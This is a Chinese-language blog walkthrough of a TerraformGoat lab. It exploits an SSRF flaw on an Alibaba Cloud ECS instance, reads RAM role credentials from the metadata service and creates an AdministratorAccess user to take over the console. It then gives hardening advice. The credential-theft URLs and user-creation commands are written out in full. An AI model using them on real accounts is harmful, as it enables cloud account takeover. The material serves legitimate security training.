<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從云服務器 SSRF 漏洞到接管你的阿里云控制臺

    VSole2022-10-16 15:52:45

    0x00 前言

    本文將以阿里云為例,對云服務中的一些攻防手法進行演示,首先利用 Terraform 進行 ECS SSRF 漏洞環境的搭建,然后通過實例中存在的 SSRF 漏洞一步步拿下該云服務賬戶的所有的阿里云服務權限。

    0x01 環境搭建

    本文采用 TerraformGoat 進行靶場的搭建,Terraform 靶場地址:https://github.com/HuoCorp/TerraformGoat

    在部署靶場時,需要用到你的阿里云 AccessKey,為了避免影響到你的云上生產環境,因此這里強烈建議使用非生產環境的 AccessKey,不要和生產環境使用同一個賬號。

    接下來開始搭建靶場,首先克隆靶場項目到本地,并構建下載靶場所需的依賴。

    git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1
    cd TerraformGoat
    docker build . -t terraformgoat:v0.0.3
    docker run -itd --name terraformgoat terraformgoat:v0.0.3
    docker exec -it terraformgoat /bin/bash
    

    如果 github 訪問較慢,可以給終端掛上代理

    proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url
    

    在進入容器后,容器會提示選擇接下來要使用的云服務提供商,這里以阿里云服務為例,輸入 2 選擇阿里云后回車。

    進入到阿里云 ECS SSRF 靶場路徑下,并配置你的 AccessKey

    cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
    aliyun configure
    

    部署 SSRF 靶場

    terraform init
    terraform appl
    

    如果 init 初始化比較慢,掛上代理即可

    在 apply 期間,會提示 Enter a value,這時輸入 yes 回車即可。

    在 Outputs 處,可以看到返回的靶場地址,訪問這個地址,可以看到 SSRF 測試靶場頁面,這時就說明環境搭建完了。

    0x02 環境利用

    當前環境存在 SSRF 漏洞,但和常規 SSRF 所處的環境不同,這里的 SSRF 漏洞是出現在云服務器上的,這也就意味著我們可以通過這個 SSRF 漏洞獲取到該服務器的元數據信息。

    訪問元數據

    http://100.100.100.200/latest/meta-data
    

    在返回的結果中,可以看到當前環境存在 ram/ 目錄,這也就意味著當前云服務器配置了 RAM 角色,這樣我們可以獲取到臨時憑證了。

    通過元數據獲取臨時憑證。

    這里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名稱,可以通過訪問 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 獲取到。

    http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role
    

    將臨時憑證配置到 aliyun 命令行工具里。

    aliyun configure --mode StsToken
    

    創建子用戶,并賦予管理員權限

    aliyun ram CreateUser --UserName teamssix
    aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666
    aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
    

    訪問 https://signin.aliyun.com 頁面,通過 RAM 用戶進行登錄,這里的用戶格式為 username@company-alias,其中 username 就是剛剛創建的用戶名,company-alias 可以通過下面的這個命令獲取到。

    aliyun ram GetAccountAlias
    

    這里的 AccountAlias 就是我們需要的 company-alias,接下來就可以登錄控制臺了。

    輸入剛才創建用戶時的密碼

    登錄后,就可以看到目標的控制臺了。

    由于剛才在創建用戶時,賦予了 AdministratorAccess 權限,因此在 RAM 訪問控制處可以看到,當前賬號擁有管理所有阿里云資源的權限。

    在云服務 ECS 實例中也可以看到我們剛才搭建的那臺 SSRF 靶場服務器。

    至此,就實現了利用云服務器上的 SSRF 漏洞接管了阿里云控制臺。

    另外這個環境里還放了一個 flag 文件,你如果感興趣的話,可以動手去嘗試找到這個 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf

    0x03 防御措施

    這個環境的問題除了存在 SSRF 外,還有另外兩個主要的問題:

    • RAM 角色權限過大,導致可以通過該角色的權限進行創建子用戶以及給子用戶授予高權限等操作
    • 元數據未做加固訪問,導致一旦目標存在 SSRF 漏洞,元數據就存在被獲取的風險

    那么針對第一個 RAM 角色權限過大的問題,主要還是需要使用者嚴格遵守權限最小化的原則,在為 RAM 角色賦予權限時,避免賦予過高的權限,只賦予自己所需要的權限,這樣可以將影響程度降到最低,但是這并不能治本。

    針對第二個元數據未做加固訪問的問題,可以將實例上的元數據訪問模式設置為加固模式,這是一種治本的方法,將元數據訪問模式設置為加固模式有以下兩種方法:

    • 在創建實例時,可以在「系統配置」的「高級選項」中將「實例元數據訪問模式」設置為「僅加固模式」

    • 在已經創建好的實例中,可以在阿里云 OpenAPI 中開啟元數據強制使用 Token 訪問,OpenAPI 地址: https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions

    將 HttpTokens 設置為 required 即表示強制使用加固模式,此時再訪問元數據就會提示 403 了。

    值得一提的是,將元數據設置為加固模式可以防止通過 SSRF 獲取到元數據,但如果實例權限被拿下,那么紅隊還是可以通過在實例上執行獲取 token 的命令,然后利用該 token 獲取到元數據。

    在 Linux 實例中獲取 token 的命令如下:

    TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`
    

    通過 token 獲取元數據

    curl -H "X-aliyun-ecs-metadata-token: $TOKEN"  http://100.100.100.200/latest/meta-data/
    

    對于 Windows 實例下的獲取方法可以參考阿里云官方文檔: https://help.aliyun.com/document_detail/108460.htm

    將元數據訪問模式設置為加固模式進而防御 SSRF 漏洞的這個方法由 2h0ng 師傅提供。

    0x04 環境刪除

    刪除創建的子賬號

    aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
    aliyun ram DeleteUser --UserName teamssix
    

    刪除 SSRF 靶場環境,在使用完靶場后,記得及時刪除,因為這里創建的云服務是按時間計費的,該靶場實例的價格為每小時 0.17 元人民幣。

    在銷毀靶場之前,記得把 AccessKey 配置成最開始的 AccessKey,配置命令:aliyun configure --mode AK

    terraform destroy
    

    如果想清除 TerrformGoat,可以使用以下命令,如果以后還想進行云上攻防的學習,則可以將 TerraformGoat 環境保留下來。

    docker stop terraformgoat
    docker rm terraformgoat
    docker rmi terraformgoat:v0.0.3
    

    0x05 總結

    這里通過云上 SSRF 漏洞獲取到了臨時密鑰,通過臨時秘鑰創建了一個具有管理員訪問權限的子用戶,最后通過這個子用戶接管了目標的控制臺。

    但是這個方法在實戰中想要使用是有一些前提的,主要前提有以下兩個:

    • ECS 實例需要被授予 RAM 角色,不然訪問臨時憑證的元數據會返回 404
    • RAM 角色需要具備 ram 訪問控制的相關操作權限,例如創建用戶、賦予權限等,不然臨時秘鑰會沒有創建子用戶的權限。

    在實戰中,如果遇到了 ECS 實例被授予了 RAM 角色的情況,大多時候該角色都是不具備創建用戶權限的,這時就沒法通過創建子賬號登錄控制臺的方式了,只能通過阿里云命令行工具去操作目標云服務了。

    總的來說,云上攻防和常規的內網攻防還是十分不一樣的。

    • 云上攻防的常見問題是配置錯誤,例如這里的問題就是 RAM 角色配置權限過高。
    • 云上攻防的權限維持主要方法是創建 RAM 高權限用戶,而不是像傳統攻防里那樣有五花八門的權限維持方法。
    • 云上攻防的內網橫向主要是在云服務廠商命令行或者控制臺中進行橫向,從這個云服務橫向到另一個云服務,而不是像傳統攻防那樣有各種各樣的內網橫向手法。
    元數據ssrf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在研究在 Docker 容器中執行不受信任的 Python 代碼會出現什么反應的過程中測試了幾個在線代碼執行引擎,以了解它們對各種攻擊的反應。Qualified 被廣泛使用,包括CodeWars 或InterviewCake等網站。能夠運行代碼與網絡訪問,且在 Amazon Web Services 中運行。
    0x00 前言本文將以阿里云為例,對云服務中的一些攻防手法進行演示,首先利用 Terraform 進行 ECS SSRF 漏洞環境的搭建,然后通過實例中存在的 SSRF 漏洞一步步拿下該云服務賬戶的所有的阿里云服務權限。接下來開始搭建靶場,首先克隆靶場項目到本地,并構建下載靶場所需的依賴。由于剛才在創建用戶時,賦予了 AdministratorAccess 權限,因此在 RAM 訪問控制處可以看到,當前賬號擁有管理所有阿里云資源的權限。至此,就實現了利用云服務器上的 SSRF 漏洞接管了阿里云控制臺。
    關鍵詞Zimbra新漏洞Zimbra是一套開源協同辦公套件,包括WebMail、日歷、通信錄、Web文檔管理
    SonarSource的專家近期披露了開源 Zimbra代碼中的兩個漏洞。
    來自關于在AWS EC2實例中使用錯誤配置、公開允許的IAM策略和應用程序安全漏洞getshell并超越攻擊面的演講幻燈片 —來自2019年8月舊金山灣區的OWASP會上演講。概要該演講主要涵蓋了三個場景,它們是使用滲透測試練習的真實環境案例來搭建的,即可用于練習shell訪問和訪問EC2實例之外的數據的環境。我們使用此信息來發現其他存儲桶,其中一個包含多個 SSH 密鑰。
    最近在做項目的時候,測到了一個部署在云上的存在 Laravel UEditor SSRF 漏洞的站點,并且發現這個 SSRF 漏洞可以讀取到臨時憑證,這不巧了,正好最近寫了一個云環境利用的工具。打點,但,是云環境一開始還是信息收集,首先通過指紋掃描發現在目標范圍內的一個站點使用了 Laravel 框架,接著測試發現該站點存在 Laravel UEditor SSRF 漏洞。
    0x01 初始訪問 1、數據 每個虛擬機 (VM) 實例都將其數據存儲在數據服務器上。您的虛擬機可自動獲得對數據服務器 API 的訪問權限,而無需任何額外的授權。 查詢數據服務器的內容,您可以從虛擬機實例中向以下根網址發出請求。 請使用 http://metadata.google.internal/computeMetadata/v1/ 網址向數據服務器發出請求。 Goog
    在平時進行紅藍攻防演練的時候,經常會碰到目標資產在云服務機器上的情況,新的技術也會帶來新的風險,本文將以 AWS 的 EC2(Elastic Compute Cloud)彈性計算服務為例,主要談談在面對云服務器場景下的一些攻防手法。
    Etcd是一個高可用的分布式鍵值對數據庫,其是由CoreOS團隊于2013年6月發起的開源項目,基于Go語言實現,距今已將近10年時間,目前在Github上已有40K的Star數和8.6K的Fork數,社區非常活躍,有超過700位貢獻者。從版本整體發展歷史來看,Etcd主要有v2和v3兩個版本,v3版本較v2版本相同點在于它們共享一套Raft協議代碼,不同點在于兩個版本的數據是相互隔離的,即若將v
    此漏洞/攻擊取決于 Kubernetes 集群的配置方式。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类